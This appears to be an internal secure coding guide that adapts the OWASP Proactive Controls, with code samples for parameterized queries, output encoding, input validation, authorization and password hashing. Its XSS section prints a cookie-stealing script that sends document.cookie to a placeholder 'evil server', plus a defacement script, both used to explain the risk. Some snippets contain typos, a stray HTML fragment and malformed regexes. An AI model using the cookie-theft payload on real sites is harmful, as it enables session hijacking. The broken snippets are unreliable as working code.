Sphera Securing Coding Guidance
Security is never optional for developers
As cybersecurity risks steadily increase, application security has become an absolute necessity. That means secure coding practices must be part of every developer’s skill set. How you write code, and the steps you take to update and monitor it, have a big impact on your applications, your organization, and your ability to do your job well.
This guide will give you practical tips in using secure coding best practices. It’s based on the OWASP Top 10 Proactive Controls — widely considered the gold standard for application security — but translated into a concise, easy-to-use format. You’ll get a brief overview of each control, along with coding examples, actionable advice, and further resources to help you create secure software.
As you dive in to this section, it is best to keep in mind that the actions I recommend are not against "imaginary" threats. These threats are very real and these vulnerabilities are found in a surprising number of websites and commercial products. Below, take a look at what WhitehatSecurity has found in the wild.
Verify for Security Early and Often
It used to be standard practice for the security team to do security testing near the end of a project and then hand the results over to developers for remediation. But tackling a laundry list of fixes just before the application is scheduled to go to production isn’t acceptable anymore. It also increases the risk of a breach. You need the tools and processes for manual and automated testing during coding.
GUIDANCE
- Consider the OWASP Application Security Verification Standard as a guide to define security requirements and generate test cases
- Scrum with the security team to ensure testing methods fix any defects
- Add a security champion to each development team. A security champion is a developer with an interest in security who helps amplify the security message at the team level. Security champions don’t need to be security pros; they just need to act as the security conscience of the team, keeping their eyes and ears open for potential issues. Once the team is aware of these issues, it can then either fix the issues in development or call in your organization’s security experts to provide guidance.
- Consider data protections from the beginning. Include security up front when agreeing upon the definition of “done” for a project
- Integrate security testing in continuous integration to create fast, automated feedback loops
ADDITIONAL RESOURCES
Parameterize Queries
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorised data.
SQL injection is one of the most dangerous application risks, partly because attackers can use open source attack tools to exploit these common vulnerabilities. You can control this risk using query parameterization. This type of query specifies placeholders for parameters, so the database will always treat them as data, rather than part of a SQL command. You can use prepared statements, and a growing number of frameworks, including Rails, Django, and Node.js, use object relational mappers to abstract communication with a database.
GUIDANCE
- All input should be validated against a whitelist of acceptable value ranges.
- Parameterize the queries by binding the variables.
- Be cautious about allowing user input into object queries (OQL/HQL) or other advanced queries supported by the framework.
- Defend against SQL injection using proper database management system configuration - Principle of Least Privilege.
THOUGHTS
Sql Injection, although not as common as Cross-Site-Scripting, poses a significantly higher risk because any compromise here can open up more than just the current user session. With Sql Injection attacks, hi-jacked data and can be stored at the database level to compromise EVERY user of the system.
EXAMPLES
Here is an example of query parametization in C#:
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId"; SqlCommand command = new SqlCommand(sql); command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int)); command.Parameters["@CustomerId"].Value = 1;
Here is an example of query parameterization in Java:
String newName = request.getParameter("newName"); int id = Integer.parseInt(request.getParameter("id")); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setInt(2, id);
ADDITIONAL RESOURCES
Encode Data
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
Encoding translates potentially dangerous special characters into an equivalent form that renders the threat ineffective. This technique is applicable for a variety of platforms and injection methods, including UNIX command encoding, Windows command encoding, and cross-site scripting (XSS). Encoding addresses the three main classes of XSS: persistent, reflected, and DOM-based
GUIDANCE
- Treat all data as untrusted, including dynamic content consisting of a mix of static, developer-built HTML/JavaScript, and data that was originally populated with user input
- Always use request validation, unless there is an approved reason to have it turned off. For example, unless explicitly turned off, all ASP.NET web apps will look for potentially malicious input and throw an HTTP 500 error if detected.
- Develop relevant encoding (whitelisting inputs) to address the spectrum of attack methods, including injection attacks. In .NET the HtmlEncode functionality and the AntiXSS libraries are a great starting point.
- Use output encoding, such as JavaScript hex encoding and HTML entity encoding.
- Monitor how dynamic webpage development occurs, and consider how JavaScript and HTML populate user input, along with the risks of untrusted sources.
THOUGHTS
This category includes some of the most common attacks that can be found in the wild - including Cross-Site-Scripting (XSS). Cross-site-scripting is where things begin to get really interesting, starting with the fact that it’s by far and away the most commonly exploited vulnerability out there today. Recently, WhiteHat Security delivered their Website Security Statistics Report and found a staggering 65% of websites with XSS vulnerabilities, that’s four times as many as the SQL injection vulnerability we just looked at in number 2.
One of the best descriptions I’ve heard of XSS was on one of the OWASP podcasts where it was described it as “breaking out of a data context and entering a code context”. So think of it as a vulnerable system expecting a particular field to be passive data when in fact it carries a functional payload which actively causes an event to occur. The event is normally a request for the browser to perform an activity outside the intended scope of the web application. In the context of security, this will often be an event with malicious intent.
EXAMPLES - Cross Site Scripting
This is a common example of a common XSS site defacement
<script> document.body.innerHTML("Jerry was here"); </script>
Example XSS session theft
<script> var img = new Image(); img.src="http://<some evil server>.com?" + document.cookie; </script>
The good news is that despite how common these attacks are, they are relativly easy to defend against. Most languages provide a built-in mechansim to support html encoding for inputs - and they should ALWAYS be used.
If you happen to be using a Microsoft .NET, by default, MVC rejects requests containing HTML markup to prevent Cross-Site Scripting attacks and this is one advantage of MVC since if you forgot to work on XSS preventions then you still win; however, do NOT rely on this as your sole means of protection.
// input encoding sample var newUrl = Request.QueryString["Url"]; if (!Uri.IsWellFormedUriString(newUrl, UriKind.Absolute)) { log.warning("An invalid URL has been specified."); return; } ... // output encoding sample var name = AntiXss.JavaScriptEncode(txtName.Text, false); var message = "Thank you " + name; var alertScript = "<script>alert('" + message + "');</script>"; ClientScript.RegisterClientScriptBlock(GetType(), "ThankYou", alertScript);
ADDITIONAL RESOURCES
Validate ALL Inputs
It's vitally important to ensure that all data is syntactically and semantically valid as it arrives and enters a system. As you approach the task, assume that all data and variables can’t be trusted, and provide security controls regardless of the source of that data. Valid syntax means that the data is in the form that's expected — including the correct number of characters or digits. Semantic validity means that the data has actual meaning and is valid for the interaction or transaction. Whitelisting is the recommended validation method.
GUIDANCE
- Assume that all incoming data is untrusted.
- Develop whitelists for checking syntax. For example, regular expressions are a great way to implement whitelist validation, as they offer a way to check whether data matches a specific pattern.
- Make sure input validation takes place exclusively on the server side. This extends across multiple components, including HTTP headers, cookies, GET and POST parameters (including hidden fields), and file uploads. It also encompasses user devices and back-end web services.
- Use client-side controls only as a convenience or for notifying users. It should not be relied on as a hijacker could easily bypass browser or client based security and send their own input to the server.
THOUGHTS
You'll notice that this item, Input Validation, also appears as parts of the other standards for security. This is an example of Defense-In-Depth. No single method provides 100% safety; however, combined, they can lower the risk significantly.
EXAMPLES - Validating Common Types with Regular Expressions
Here are some basic validations based on Regular Expressions that you could use:
var firstname = Request.QueryString["firstname"]; var positiveRealNumberGreaterThanZeroRegex = new Regex(@"^[0-9]*[1-9]+[0-9]*\.[0-9]*$)|(^[0-9]*\.[0-9]*[1-9]+[0-9]*$)|(^[0-9]*[1-9]+[0-9]*$)"); var properNameRegex = new Regex(@"^([a-zA-Z]{2,}\s[a-zA-z]{1,}'?-?[a-zA-Z]{2,}\s?([a-zA-Z]{1,})?)"); var zipcodeRegex = new Regex(@"[0-9]\{5\}(-[0-9]\{4\})?"); var emailRegex = new Regex(@"/^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$"); var emailRegex = new Regex(@"/^([\w-\.]+@(?!sphera.com)([\w- ]+\.)+[\w-]{2,4})?$/"); // if the supplied values are not in the whitelist, reject the query immediately if(!emailRegex.IsMatch(email)) { log.warning("An invalid or non-golub email has been specified."); return; }
ADDITIONAL RESOURCES
Implement Identity and Authentication Controls
You can avoid security breaches by confirming user identity up front and building strong authentication controls into code and systems. These controls must extend beyond a basic username and password. You’ll want to include both session management and identity management controls to provide the highest level of protection.
GUIDANCE
- Use strong authentication methods, including multi-factor authentication, such as FIDO, dedicated apps, or Windows Authentication.
- Implement secure password requirements and storage - never store passwords in plain text, even if the database is encrypted. Not really applicable when using Windows Auth.
- Implement a secure password recovery mechanism to help users gain access to their account if they forget their password. Enable password recovery via resets - never email it. Doing password recovery wrong is a recipe for disaster; it could literally serve up credentials to an attacker on a silver platter. Not really applicable when using Windows Auth.
- Ensure that all back-end services support only authenticated requests.
- Establish explicit timeout and inactivity periods for every session.
- Use re-authentication for sensitive or highly secure features.
- Use only secure session management.
- Use monitoring and analytics to spot suspicious IP addresses and machine IDs.
- Consider biometric authentication methods, such as fingerprint, facial recognition, and voice recognition, to verify the identity of users.*
THOUGHTS
Your users are entering their password into your website or application. They are trusting you with their security. If your database gets hacked, and your users' passwords are unprotected, then malicious hackers can use those passwords to compromise your users' accounts on other websites and services (most people use the same password everywhere). It's not just your security that's at risk, it's your users'. You are responsible for your users' security.
ADDITIONAL RESOURCES
Implement Access Controls
You can dramatically improve protection and resiliency in your applications by building authorization or access controls into your applications in the initial stages of application development. Note that authorization is not the same as authentication. According to OWASP, authorization is the “process where requests to access a particular feature or resource should be granted or denied.” When appropriate, authorization should include a multi-tenancy and horizontal (data specific) access control.
GUIDANCE
- Use a security-centric design, where access is verified first. Consider using a filter or other automated mechanism to ensure that all requests go through an access control check.
- Consider denying all access for features that haven’t been configured for access control.
- Code to the principle of least privilege. Allocate the minimum privilege and time span required to perform an action for each user or system component.
- Separate access control policy and application code, whenever possible.
- Consider checking if the user has access to a feature in code, as opposed to checking the user's role.
- Adopt a framework that supports server-side trusted data for driving access control. Key elements of the framework include user identity and log-in state, user entitlements, overall access control policy, the feature and data requested, along with time and geolocation.
THOUGHTS
Here, my recommendation diverges from the OWASP standard. In the OWASP standard, they recommend preferring access checks be done at the individual rather than the role of AD group level. In theory, they are correct; however, in practice, this approach becomes extremely unwieldy very quickly and requires complex and nearly real-time updates to code or your Authentication provider to support this behavior.
EXAMPLES - Coding to Activity
Here are some examples using the [Authorize] attribute in C# with WebAPI.
public static void Register(HttpConfiguration config) { config.Filters.Add(new AuthorizeAttribute()); } // Require authorization for all actions on the controller. [Authorize] public class ValuesController : ApiController { public HttpResponseMessage Get(int id) { ... } public HttpResponseMessage Post() { ... } } // authorizing only a specific action public class ValuesController : ApiController { public HttpResponseMessage Get() { ... } // Require authorization for a specific action. [Authorize] public HttpResponseMessage Post() { ... } } // Restrict by user: [Authorize(Users="Alice,Bob")] public class ValuesController : ApiController { ... } // Restrict by role: [Authorize(Roles="Administrators")] public class ValuesController : ApiController { ... }
ADDITIONAL RESOURCES
Protect Data
Organizations have a duty to protect sensitive data within applications. To that end, you must encrypt critical data while it’s at rest and in transit. This includes financial transactions, web data, browser data, and information residing in mobile apps. Regulations like the EU General Data Protection Regulation make data protection a serious compliance issue.
GUIDANCE
- Don’t be tempted to implement your own homegrown libraries. Use security-focused, peer-reviewed, and open source libraries, including the Google KeyCzar project, Bouncy Castle, and the functions included in SDKs. Most modern languages have implemented crypto-libraries and modules, so choose one based on your application’s language.
- Don’t neglect the more difficult aspects of applied crypto, such as key management, overall cryptographic architecture design, tiering, and trust issues in complex software. Existing crypto hardware, such as a Hardware Security Module (HSM), can make your job easier.
- Avoid using an inadequate key, or storing the key along with the encrypted data.
- Don’t make confidential or sensitive data accessible in memory, or allow it to be written into temporary storage locations or log files that an attacker can view.
- Use transport layer security (TLS) to encrypt data in transit.
EXAMPLES - Cryptographically secure password hashing
This is an example of cryptographically secure password hashing in C#.Net.
// generate the SALT byte[] salt; new RNGCryptoServiceProvider().GetBytes(salt = new byte[16]); // hash and salt it using PBKDF2 - a slow algorithm var pbkdf2 = new Rfc2898DerviceBytes(password, salt, 10000); // place the string in the byte array byte[] hash = pbkdf2.GetBytes(20); // make a new byte array to store the hashed password + salt byte[] hashBytes = new byte[36]; // place the hash and salt in their respective places Array.Copy(salt, 0, hashBytes, 0, 16); Array.Copy(hash, 0, hashBytes, span style="color: #b452cd;">16, 20); // now convert into a string for eventual storage string savedPasswordHash = Convert.ToBase64String(hashBytes);
ADDITIONAL RESOURCES
Implement Logging and Intrustion Detection
Logging should be used for more than just debugging and troubleshooting. Logging and tracking security events and metrics helps to enable what’s known as attack-driven defense, which considers the scenarios for real-world attacks against your system. For example, if a server-side validation catches a change to a non-editable, throw an alert or take some other action to protect your system. Focus on four key areas: application monitoring; business analytics and insight; activity auditing and compliance monitoring; and system intrusion detection and forensics.
GUIDANCE
- Use an extensible logging framework like Serilog, or Apache Log4j2 / Log4net, to ensure that all log entries are consistent.
- Keep various audit and transaction logs separate for both security and auditing purposes.
- Always log the timestamp and identifying information, like source IP and user ID.
- Log all instances where inappropriate inputs are provided.
- Don’t log opt-out data, session IDs, or hash value of passwords, or sensitive or private data including credit card or Social Security numbers.
- Perform encoding on untrusted data before logging it to protect from log injection, also referred to as log forging.
- Log at an optimal level. Too much or too little logging heightens risk.
ADDITIONAL RESOURCES
Leverage Security Frameworks and Libraries
You can waste a lot of time — and unintentionally create security flaws — by developing security controls from scratch for every web application you’re working on. To avoid that, take advantage of established security frameworks and, when necessary, respected third-party libraries that provide tested and proven security controls.
GUIDANCE
- Use existing secure framework features rather than using new tools, such as third-party libraries.
- Because some frameworks have security flaws, build in additional controls or security protections as needed.
- Use web application security frameworks, including Spring Security, Apache Shiro, Django Security, and Flask security.
- Regularly check for security flaws, and keep frameworks and libraries up to date. By understanding not just the status of the component but whether or not a vulnerable method is being called, organizations can pinpoint their component risk and prioritize fixes based on the riskiest uses of components.
ADDITIONAL RESOURCES
Monitor Error and Exception Handling
Error and exception handling isn’t exciting, but like input validation, it is a crucial element of defensive coding. Mistakes in error and exception handling can cause leakage of information to attackers, who can use it to better understand your platform or design. Even small mistakes in error handling have been found to cause catastrophic failures in distributed systems.
GUIDANCE
- Conduct careful code reviews and use negative testing, including exploratory testing and pen testing, fuzzing, and fault injection, to identify problems in error handling.
- Manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code. In addition, verify that all unexpected behaviors are correctly handled inside the application.
- Confirm that error messages sent to users aren't susceptible to critical data leaks, and that exceptions are logged in a way that delivers enough information for QA, forensics, or incident response teams to understand the problem.
- Always turn custom Errors mode on for Web Applications to prevent showing the "yellow screen of death" and thus unintentionally providing information leakage about the application.
ADDITIONAL RESOURCES
Additional Resources
There are countless articles from both vendors and thought leaders on what are logging best practices and which framework you should be using. I prefer to keep it simple and focus only on things that are universal. The answer as to which framework to use and what your exact standards should be are really a matter for your team to decide. After all, they understand their needs better than anyone else. Just make sure that it is uniformly applied.